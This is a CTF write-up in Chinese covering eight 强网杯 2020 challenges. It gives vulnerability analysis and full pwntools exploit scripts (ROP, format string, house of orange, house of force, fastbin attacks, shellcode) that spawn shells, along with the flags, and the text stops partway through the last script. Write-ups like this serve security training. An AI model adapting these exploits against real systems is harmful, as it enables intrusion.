强网杯2020 部分题目

babymessage

分析

   Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

基本保护不算多。

是一个伪堆题。

漏洞点

leave_message(v1)函数这里的v1上来取值就是16

__int64 __fastcall leave_message(unsigned int a1)
{
  int v1; // ST14_4
  __int64 v3; // [rsp+18h] [rbp-8h]

  puts("message: ");
  v1 = read(0, &v3, a1);
  strncpy(buf, (const char *)&v3, v1);
  buf[v1] = 0;
  puts("done!\n");
  return 0LL;
}

进入以后可以发现,v3是只有8字节大小的,可以溢出8字节,可以覆盖到rbp。

用途
.text:0000000000400985 ; 22:         if ( v1 > 256 )
.text:0000000000400985                 cmp     [rbp+var_4], 100h
.text:000000000040098C                 jle     short loc_400995
.text:000000000040098E ; 23:           v1 = 256;
.text:000000000040098E                 mov     [rbp+var_4], 100h
.text:0000000000400995 ; 24:         leave_message(v1);

在进入leave_message(v1)前v1有一个对于0x100大小的判断,要是v1大于0x100就给设置为0x100。这就可以实现栈溢出,进行rop。

怎么控制v1:

signed int v1; // [rsp+Ch] [rbp-4h]

可以明显看到v1在rbp-4的地址,然后rbp,也可以进行溢出覆盖,覆盖到合适的地方后,保障-4后,有个int大小的大于等于0x100的值即可。

这个合适地址,可以从leave_name() 下手,因为其往bss段读了值。

byte_6010D0[(signed int)read(0, byte_6010D0, 4uLL)] = 0;

攻击

  • 构造rop链,泄漏出libc的地址,返回start,让程序重新跑起来,清理栈
  • 再次利用,控制ret address 为one_gadget

exp

from pwn import *
import time
local_file  = './babymessage'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('123.56.170.202',21342)
    libc = elf.libc
    libc = ELF('./libc-2.27.so')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce18 = [0x4f2c5,0x4f322,0x10a38c]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
pop_rdi = 0x0000000000400ac3
start = 0x04006E0
sla('choice','1')
sa('name',p32(0xffff))
sla('choice','2')
payload = p64(0x02000200) + p64(0x06010D0+4)

sa('mes',payload)
sla('choice','2')
rop = flat([pop_rdi,elf.got['__libc_start_main'],elf.plt['puts'],start])
payload = p64(0x02000200) + p64(0x06010D0+4)
payload +=rop
sa('mes',payload)
ru('done!')
r(2)
libc_base = uu64(r(6)) - libc.sym['__libc_start_main']
info_addr('libc_base',libc_base)

sla('choice','1')
sa('name',p32(0xffff))
sla('choice','2')
# debug()
payload = p64(0x02000200) + p64(0x06010D0+4)
sa('mes',payload)
rec = 0x10a45c + libc_base
sla('choice','2')
rop = p64(rec)
payload = p64(0x02000200) + p64(0x06010D0+4)
payload +=rop
sa('mes',payload)
itr()
flag{f4c1c2c2407055f2665dec486e7d1b16}

Siri

分析

保护全开。栈上的格式化字符串漏洞,并且可以无限次触发。

漏洞点

signed __int64 __fastcall sub_1212(const char *a1)
{
  char *v2; // [rsp+18h] [rbp-128h]
  char s; // [rsp+20h] [rbp-120h]
  unsigned __int64 v4; // [rsp+138h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = strstr(a1, "Remind me to ");
  if ( !v2 )
    return 0LL;
  memset(&s, 0, 0x110uLL);
  sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 13);
  printf(&s);
  puts(&::s);
  return 1LL;
}

发现存在格式化字符串,但是你所输入的都会被sprintf处理以后给printf函数。由于其是%s来处理数据,这就让直接在栈上写地址,然后攻击造成了难度。
但是调试可以发现,其实输入的东西还会保留在栈上,因为sprintf处理数据也是从栈上拿的,所以会被保留的。

攻击

  • 第一次触发,泄漏出libc地址,stack地址。
  • 执行到printf准备触发格式化字符串漏洞时,用sprintf残留栈上的数据(在0x100后),这个需要精心构造好后,进行攻击ret address。需要一次性改好。

exp

from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('123.56.170.202',12124)
    # libc = elf.libc
    libc = ELF('./libc.so.6')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    gdb.attach(io)
    pause()

def start_attc():
    sla('>>','Hey Siri!')
    r()

a = 'Remind me to '
start_attc()
payload = str(a) + '%83$p' + 'bbb' + '%7$p'
# ru('>>>')
s(payload)
ru('0x')
libc_base = int(r(12),16) - 0x21b97
info_addr('libc_base',libc_base)
ru('bbb0x')
stack_base = int(r(12),16) - 0x150
info_addr('stack_base',stack_base)
tag = stack_base + 0x148

start_attc()
def fmt_short(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result
prev = 27
fmtpayload = ""
key = 0x4f365 + libc_base
info_addr('key',key)
for i in range(3):
    fmtpayload +=fmt_short(prev,(key >> 16*i) & 0xffff,55+i) 
    prev = (key >> i*16) & 0xffff
print(fmtpayload)
payload = str(a) + fmtpayload
payload +='aaa' + 'b' + p64(tag)[0:6] + '\x00'*2 + p64(tag+2)[0:6] + '\x00'*2  + p64(tag+4)[0:6] + '\x00'*2 + p64(tag+6)[0:6] + '\x00'*2
s(payload)

itr()
flag{da8836b9e9df3db44fe4bd7f39d4f7ab}

water_re

Ida反编译后的代码比较难看,发现重点数据造成了困难,就采取动态调试。

基本流程就是,gets一段你输入的flag,读入后用sub_12f0_进行处理,然后给v10 v11 v12 v13 判断是否相等。其实也就是一个个字符来进行对比。

sub_12F0_加密函数

_BYTE *__fastcall sub_12F0(_BYTE *a1)
{
  _BYTE *result; // rax
  int v2; // esi
  __int64 v3; // r8
  __int64 v4; // rdx
  __int64 v5; // rax
  int v6; // ecx
  char v7; // r8
  char v8; // dl

  __asm { endbr64 }
  result = (_BYTE *)sub_1090();
  if ( (signed int)result <= 0 )
    return result;
  v2 = (signed int)result;
  v3 = (unsigned int)((_DWORD)result - 1);
  v4 = 0LL;
  do
  {
    a1[v4] = (a1[v4] ^ byte_4010[(unsigned int)v4 % 7]) + 65;
    v5 = v4++;
  }
  while ( v3 != v5 );
  v6 = 0;
  do
  {
    v7 = a1[3];
    result = a1 + 3;
    do
    {
      v8 = *(result-- - 1);
      result[1] = v8;
    }
    while ( a1 != result );
    v6 += 4;
    *a1 = v7;
    a1 += 4;
  }
  while ( v2 > v6 );
  return result;
}

动态调试,进行起来很容易看懂。上来就是一个对输入的东西进行一个与byte_4010的字符'Q', 'W', 'B', 'l', 'o', 'g', 's' 7组来进行一个异或和+65。

然后下面:

 while ( v3 != v5 );
  v6 = 0;
  do
  {
    v7 = a1[3];
    result = a1 + 3;
    do
    {
      v8 = *(result-- - 1);
      result[1] = v8;
    }
    while ( a1 != result );
    v6 += 4;
    *a1 = v7;
    a1 += 4;
  }

只看着让人头大,输入flag{11111111111111111111111111111111111111111} 动态调试一下发现:

分析这2组数据就会发现,每次对4个数据为一组进行处理。处理后结果就是原来的: v1 > v2 > v3 > v4 变为 v4 > v1 > v2 > v3 这样的结果。

然后处理完就给v10 v11 v12 v13 判断是否相等。这肯定为一串处理过的字符串,ida中也可以找到,直接提取有点害怕提取错,动调时提取一下出来:

tag1=[0x4C, 0x78, 0x7C, 0x64, 0x54, 0x55, 0x77, 0x65, 0x5C, 0x49,
0x76, 0x4E, 0x68, 0x43, 0x42, 0x4F, 0x4C, 0x71, 0x44, 0x4E,
0x66, 0x57, 0x7D, 0x49, 0x6D, 0x46, 0x5A, 0x43, 0x74, 0x69,
0x79, 0x78, 0x4F, 0x5C, 0x50, 0x57, 0x5E, 0x65, 0x62, 0x44]

也就是这一段数据。

exp

自己直接手动替换的数据。

tag1=[0x4C, 0x78, 0x7C, 0x64, 0x54, 0x55, 0x77, 0x65, 0x5C, 0x49,
0x76, 0x4E, 0x68, 0x43, 0x42, 0x4F, 0x4C, 0x71, 0x44, 0x4E,
0x66, 0x57, 0x7D, 0x49, 0x6D, 0x46, 0x5A, 0x43, 0x74, 0x69,
0x79, 0x78, 0x4F, 0x5C, 0x50, 0x57, 0x5E, 0x65, 0x62, 0x44]

tag2 = [0x78, 0x7C, 0x64,0x4C,
0x55, 0x77, 0x65,0x54, 
0x49,0x76, 0x4E,0x5C, 
0x43, 0x42, 0x4F,0x68,
0x71, 0x44, 0x4E,0x4C,
0x57, 0x7D, 0x49,0x66, 
0x46, 0x5A, 0x43,0x6D, 
0x69,0x79, 0x78, 0x74, 
0x5C, 0x50, 0x57, 0x4F,
0x65, 0x62, 0x44,0x5E]

qwkey = ['Q', 'W', 'B', 'l', 'o', 'g', 's']
flag = ''
i = 0
j = 0
for i in range(len(tag2)):
    if j ==7:
        j = 0
    flag += chr((tag2[i] - 65) ^ ord(qwkey[j % 7]))
    j += 1
print(str(flag))


估计没有提取全,但是也很容易知道flag了。

flag{QWB_water_problem_give_you_the_score}

Just_a_Galgame

分析

题目提醒了是house of orange,那就想着这样利用即可。现在house of orange的思想,统指主要是针对没有free的堆题,其改top chunk,然后申请一个大点的chunk,来进行获取一个进入unsortbin 的堆块。没有如最早的很经典的利用unsortbin attack 和 io 结合来获取shell。

题目的case2 Invite her to go to a movie. 中:

  printf("movie name >> ", &buf);
            v4 = atoi((const char *)&buf);
            read(0, (void *)(qword_404060[v4] + 0x60), 0x10uLL);

由于其是在加0x60之后读取,且在case 1 只是malloc(0x68),所以在此处可以溢出8个字节,改写到 top chunk。

并且case3:

  puts("You are the apple of my eyes too!");
          qword_404098 = (__int64)malloc(0x1000uLL);
          ++v12;

可以给你申请0x1000的堆块,这就可以实现了house of orange。

在case5中:

  puts("\nHotaru: Won't you stay with me for a while? QAQ\n");
        read(0, &key, 8uLL);    

会给0x4040A0 读一段数据。


是紧挨着堆块的。然而在case2中在edit时也没有对堆块序号的检查,让个人输入个8 即可取到这里,进行编辑。

攻击思路

  • house of orange来获取一个unsortbin
  • 申请一个堆块,会在这个old top chunk中,切出一个堆块,其上会存在libc的相关地址
  • show一下,泄漏出libc base
  • leave __malloc_hook - 0x60的地址在key 处,然后进行编辑这里的数据。

exp

from pwn import *
import time
local_file  = './Just_a_Galgame'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',27411)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def edit(idx,data):
    sla(">>",'2')
    sla('idx',str(idx))
    sa('name',str(data))

def show():
    sla('>>','4')

def add():
    sla('>>','1')

def add100():
    sla('>>','3')

def leave(buf):
    sla('>>','5')
    s(str(buf))

add()
payload = '\x00'*8 + p64(0xd41)
edit(0,payload)
add100()
add()
show()
ru('1: ')
libc_base = uu64(r(6)) - 0x3ec2a0
info_addr('libc',libc_base)
leave(p64(libc_base + 0x3ebc30 - 0x60))
one_rec = 0x4f3c2 + libc_base
edit(8,p64(one_rec))
add()
itr()

还是挺简单的,比赛时竟然没有看这个题。

easypwn

分析

if ( !mallopt(1, 0) )
    exit(-1);
  • 禁用了fastbin,原理就是修改global_max_fast = 0x10

  • 存在off by null

  • 没有show功能

    思路

  • 利用off by null ,修改unsorted bin 的bk为global_max_fast - 0x10

  • 利用unsorted bin 攻击 global_max_fast

  • 接着fastbin attack 打io file的stdout,泄漏libc

  • 接着fastbin attack打 malloc_hook 为one gadget

exp

from pwn import *
import time
local_file  = './easypwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('39.101.184.181',10000)
    libc = elf.libc
    # libc = ELF('./libc-easypwn.so')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size):
    sla('choice','1')
    sla('size',str(size))

def edit(idx,data):
    sla('choice','2')
    sla('idx',str(idx))
    sa('tent',str(data))

def delete(idx):
    sla('ice','3')
    sla('idx',str(idx))

def leak_addr():
    add(0x30) #0
    add(0x98) #1
    add(0xf0) #2
    add(0x98) #3
    add(0x40)
    delete(0)
    #null off by one
    edit(1,'d'*0x90 + p64(0xa0 + 0x40))
    delete(2)
    add(0xe8 - 0x30)
    add(0xe8)
    add(0x20)
    delete(2)
    payload = p64(0) * 7 * 2 + p64(0) + p64(0xf1) +p64(0)+ p16(0x57f8- 0x10) + '\n'
    edit(1,payload)
    add(0xe8)

    delete(2)
    payload = p64(0) * 7 * 2 + p64(0) + p64(0xf1) + p16(0x45cf) + '\n'
    edit(1,payload)
    add(0xe8)
    add(0xe8)
    edit(6, 'b' * 0x41 + p64(0xfbad3c80) + p64(0) * 3 + p8(0) + '\n')

leak = 0
while True:
    try:
        leak_addr()
        ss = io.recvuntil(chr(0x7f),timeout = 0.5)
        if len(ss) == 0:
            raise Exception('')
        io.recv(10)
        leak = uu64(r(6))
        if leak == 0x7ff81b57b6a3:
            raise Exception('')
        break
    except Exception:
        io.close()
        io = process('./easypwn')
        # io = remote('39.101.184.181',10000)
        continue

info_addr('leak',leak)
libc_addr = leak - 0x3c56a3
info_addr('libc_base',libc_addr)

delete(2)
edit(1, p64(0) * 7 * 2 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')
add(0xe8)
add(0xe8)
edit(7,'\0' * 0xe1 + p32(0xf1) + '\n')
delete(2)
edit(1, p64(0) * 7 * 2 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')
add(0xe8)
add(0xe8)


rec = libc_addr + 0xf0364
# realloc = libc_addr + libc.symbols['realloc'] + realloc[1]
payload = '\x00' * 0xa0 + p64(rec) + p64(rec) + '\n'

edit(8, payload)
info_addr('libc_base',libc_addr)
add(0xe8)
itr()

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf0364 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1207 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

babynote

分析

regist()

 strcpy(name, &s);                             
 __isoc99_scanf("%lld", &age1); // 长整数

可能造成溢出。在栈中,其下面紧挨着age。

在bss段,其下面紧挨着heap存放的地址。

addnote()

  • 只能申请6个堆。
  • 申请了一个堆,其size放在距离其堆地址·6 * 8的位置。
  • 可以根据堆序号申请堆,判断堆序号是否存在的依据:此堆对应的size位有没有数值(也适用于shownote,deletenote,editnote)

    deletenote()

if ( v1 <= 3 )                                // 可以输入负数
  {
    if ( *(_QWORD *)&m[4 * (v1 + 0xALL)] )
    {
      free(*(void **)&m[4 * (v1 + 4LL)]);// 反编译错了 是8 *(xx)
      *(_QWORD *)&m[4 * (v1 + 0xALL)] = 0LL;//uaf heap没有清0,size 清0
      puts("Done!");
    }
  • 存在uaf
  • 只能删除idx<=3 的堆
  • 可以输入负堆号,可以根据其逻辑来删除一些特殊的堆

editnote()

if ( v1 <= 3 && v1 >= 0 )
  • 只能编辑前4个堆

攻击思路

  • leak libc
  • free(-1) free(-2) 删除掉motto name的堆块
  • 利用reset,调用regist,利用strcpy来溢出age的数值,控制第一个chunk的size,造成一个堆块重叠
  • 删除0、1、2chunk,申请一个大的chunk,可以覆盖到chunk 1的fd从而修改,进行fastbin attack
  • 打malloc hook 为 one gadget

exp

from pwn import *
import time
local_file  = './babynotes'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',27411)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def reg(name,motto,age):
    sa('name',str(name))
    sa('motto',str(motto))
    sla('age',str(age))

def add(idx,size):
    sla('>>','1')
    sla('dex',str(idx))
    sla('size',str(size))

def show(idx):
    sla('>>','2')
    sla('dex',str(idx))

def free(idx):
    sla('>>','3')
    # if int(idx) <=3:
    sla('dex',str(idx))
    # if int(idx) >3:
        # idx = 

def edit(idx,data):
    sla('>>','4')
    sla('dex',str(idx))
    sa('note',str(data))

def reset(name,motto,age):
    sla('>>','5')
    reg(name,motto,age)

name = 'a' * 0x18
motto = 'b' * 0x20
age = 0x100
reg(name,motto,age)
add(0,0x58) 
add(1,0x68) 
add(2,0x68)
add(3,0x100) 
add(4,0x18) 
free(3)
add(5,0x68)
show(5)
ru('ote 5: ')
libc_base = uu64(r(6)) - 0x3c4c78
info_addr('libc',libc_base)

free(-1)
free(-2)
age = 0x1111111100000141
reset(name,' ',age)
free(0)
free(1)
free(2)
add(0,0x100)
malloc_hook = 0x3c4aed + libc_base
payload = 11 * p64(0) + p64(0x71) + p64(malloc_hook)
edit(0,payload)
add(1,0x68)
add(2,0x68)
add(3,0x68)
one = 0xf0364 + libc_base
payload = (0x13-8) * '1' + p64(0) + p64(one)
edit(3,payload)
free(3)
itr()

还有一种思路,就是因为bss段的age,free(-3)也可以进行free的,控制其为一个0x68堆块地址的话,就可以出现一个0x70的fastbin块,然后其size是不会北抹除的,所以利用uaf直接edit其fd为malloc hook,fastbin attack 攻击即可。

另一种打法

addnote()

   puts("Input note size: ");
      __isoc99_scanf("%lld", &size);
      if ( (signed __int64)size <= 0x100 )
      {

这里有个遗漏点,add的size是可以输入负的

house of force使用条件

比赛时没有想到,因为house of force相关的有点遗忘了。

  • 可以溢出到top chunk的 size,篡改 size 为一个很大值,就可以轻松的通过top chunk的相关验证,常见就是修改为 -1
  • 可以申请任意size的堆块,正负都行,但是有不同的攻击限制

这题是可以满足的:

  • 利用strcpy来溢出age的数值 ,很简单的控制top chunk的 size
  • 可以申请负的堆块,负的堆块可以打heap 或者 got ,获取一个任意地址写,通常应该都是打heap

攻击思路

  • 修改top chunk的size
  • 利用house of force,将top chunk向前移动,使得其与现有的chunk重合
  • 然后通过malloc一个小堆块,构造好 fake chunk,控制现有堆的size和prev_size后_
  • 做unlink,实现任意地址读写。

exp

#coding:utf8
from pwn import *

sh = process('./babynotes')
# sh = remote('123.56.170.202',43121)
elf = ELF('./babynotes')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
free_got = elf.got['free']

def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(sh)
    pause()
context.terminal = ['tmux','neww']
sh.sendafter('Input your name:','haivk')
sh.sendafter('Input your motto:','pwnit')
sh.sendlineafter('Input your age:','1')

def add(index,size):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('Input index:',str(index))
   sh.sendlineafter('Input note size:',str(size))

def show(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('Input index:',str(index))

def delete(index):
   sh.sendlineafter('>>','3')
   sh.sendlineafter('Input index:',str(index))

def edit(index,content):
   sh.sendlineafter('>>','4')
   sh.sendlineafter('Input index:',str(index))
   sh.sendafter('Input your note:',content)

def reset():
   sh.sendlineafter('>>','5')



add(0,0x100)
add(1,0x100)
add(2,0x100)

reset()
sh.sendafter('Input your name:','haivk'.ljust(0x18,'a'))
sh.sendafter('Input your motto:','pwnit')
sh.sendlineafter('Input your age:','-1')

add(4,-0x370)
add(3,0x20)
#top chunk上移
edit(3,p64(0x100) + p64(0x110))
heap0_ptr_addr = 0x6020E0
edit(0,p64(0) + p64(0x101) + p64(heap0_ptr_addr - 0x18) + p64(heap0_ptr_addr - 0x10))
debug()
#unlink
delete(1)

debug()
edit(0,p64(0)*3 + p64(free_got))
show(0)
sh.recvuntil('Note 0: ')
free_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']
edit(0,p64(system_addr))
edit(2,'/bin/sh\x00')
#getshell
delete(2)

sh.interactive()

exp 来自 haivk 大师傅。

oldschool

分析

给了源码,分析程序带来了很大的便利。
会发现很多地方对size大小验证不是很多,是负数也行,但是对此题的攻击,用途并不大。

 g_ptr =  mmap(ADDR_LOW + idx, ADDR_HIGH - ADDR_LOW - idx, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 

这里可以看到申请的mmap区,是可以进行执行的,可以考虑一下shellcode。

漏洞点

void mmap_edit(){
    if(g_ptr == NULL){
        printf("Mmap first!");
        return;
    }

    unsigned value;
    unsigned idx;
    printf("Index: ");
    idx = get_int(); 

    if(g_ptr + idx < g_ptr && (unsigned)(g_ptr + idx) < ADDR_HIGH){
        puts("Invalid idx");
        return;
    }

    printf("Value: ");

    value = get_int(); 
    g_ptr[idx] = value;
}

可以看到其对g_ptr + idx的验证是很简单的,给足大的偏移,可以改到libc的。是一个数组溢出。

攻击思路

思路1:

  • 先正常分配,泄漏出libc地址
  • 分配一下mmap,利用数组溢出,进行修改malloc_hook,为mmap的地址。
  • 在mmap的内存上填上shellcode

思路2:

  • 先正常分配,泄漏出libc地址
  • 分配一下mmap,利用数组溢出,进行修改free_hook,为system。
  • free 一个 带有/bin/sh的chunk即可

这个更好点。

exp

from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',27411)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(idx,size):
    sla('ice','1')
    sla('dex',str(idx))
    sla('ize',str(size))

def edit(idx,data):
    sla('ice','2')
    sla('dex',str(idx))
    sa('tent',str(data))

def show(idx):
    sla('ice','3')
    sla('dex',str(idx))

def free(idx):
    sla('ice','4')
    sla('dex',str(idx))

def mmap_add(addr):
    sla('ice','6')
    sla('start',str(addr))

def mmap_edit(idx,data):
    sla('ice','7')
    sla('dex',str(idx))
    sla('lue',str(data))

for i in range(8):
    add(i,0x90)
add(9,0x10)
for i in range(7):
    free(i)
free(7)
add(10,0x10)
show(10)
ru('ent: ')
libc_base = uu32(r(4)) - 0x1d8828
info_addr('libc',libc_base)
system = 0x3d200 + libc_base
free_hook = 0x1d98d0 + libc_base


mmap_add(0)
'''
# one way
offset = ((libc_base+0x1d8788 - 0xe0000000)) / 4
mmap_edit(offset,'3758096384')

shellcode = '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'

shellcode = [int(0xd231c931),int(0x2f2f6852),int(0x2f686873),int(0x896e6962),int(0xb0c031e3),int(0x80cd0b)]

for i in range(len(shellcode)):
    mmap_edit(i,shellcode[i])

add(13,0x10)
'''
# two way

offset = ((free_hook - 0xe0000000)) / 4
mmap_edit(offset,int(system))
edit(9,'/bin/sh\x00' + '\n')
free(9)
itr()

direct

分析

add函数

  • 申请的chunk最大值为0x100,max为16个

  • size可以为负值

    edit函数

  • offset, size 都可以为负值

  • read(0, (void *)(heaplist[idx] + offset), nbytes); 这里存在负溢出,可以修改上一个chunk里面的值

open file函数

  • 只能调用一次,调用后可以进行edit chunk

close 函数

result = (ssize_t)readdir(dirp);
    v1 = result;
    if ( result )
    {
      put("Filename: ");
      result = put2(v1 + 0x13);

进行打印文件名。

可以看到漏洞点就是在edit那里,且没有show函数。leak libc是此题的难点。因为是没有puts函数进行输出,所以攻击stdout也没有用。

重点是了解opendir 和 readdir。
参考链接:
https://blog.csdn.net/cainiao000001/article/details/80988738

可以发现,在调用opendir和readdir后,文件名是存在于内存中的。然后因为程序的写法,会直接输出一下.的文件名,再次调用会输出..的文件名,也是0x13的偏移处。那么想办法溢出修改这附近的内存,在打印文件名的时候,把libc地址也给印出来。

攻击思路

  • 先申请8个堆,然后释放完,让其存在一个在unsortbin的chunk,且留出一个准备上溢出攻击的chunk
  • openfile一下,在heap上申请一个巨大的chunk
  • 上溢出攻击,把加入unsortbin的chunk的size给修改大一点,覆盖到上面那个巨大的chunk,且这个巨大堆的next chunk的prev size 要填上合适的大小,绕过对unsortbin 的检查。
  • close一下,会在刚刚巨大的chunk中留下dirent结构体,其中会包含filename
  • 申请堆到..这个文件名的附近,因为是unsortbin,会在其下面留下libc地址,准备泄漏(这个要注意,尽量不要破坏dirent结构体的数据,破坏后容易无法输出filename)
  • 上溢攻击..的文件名,给其修改其他合适的名字,泄漏出libc地址
  • 剩下的就简单了,上溢攻击tcache chain,修改为free hook
  • 攻击free hook 为one gadget

exp

from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',27411)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(idx,size):
    sla('ice','1')
    sla('dex',str(idx))
    sla('ize',str(size))

def edit(idx,offset,size,data):
    sla('ice','2')
    sla('dex',str(idx))
    sla('set',str(offset))
    sla('ize',str(size))
    sa('tent',str(data))
def free(idx):
    sla('ice','3')
    sla('dex',str(idx))

def openfile():
    sla('ice','4')

def closefile():
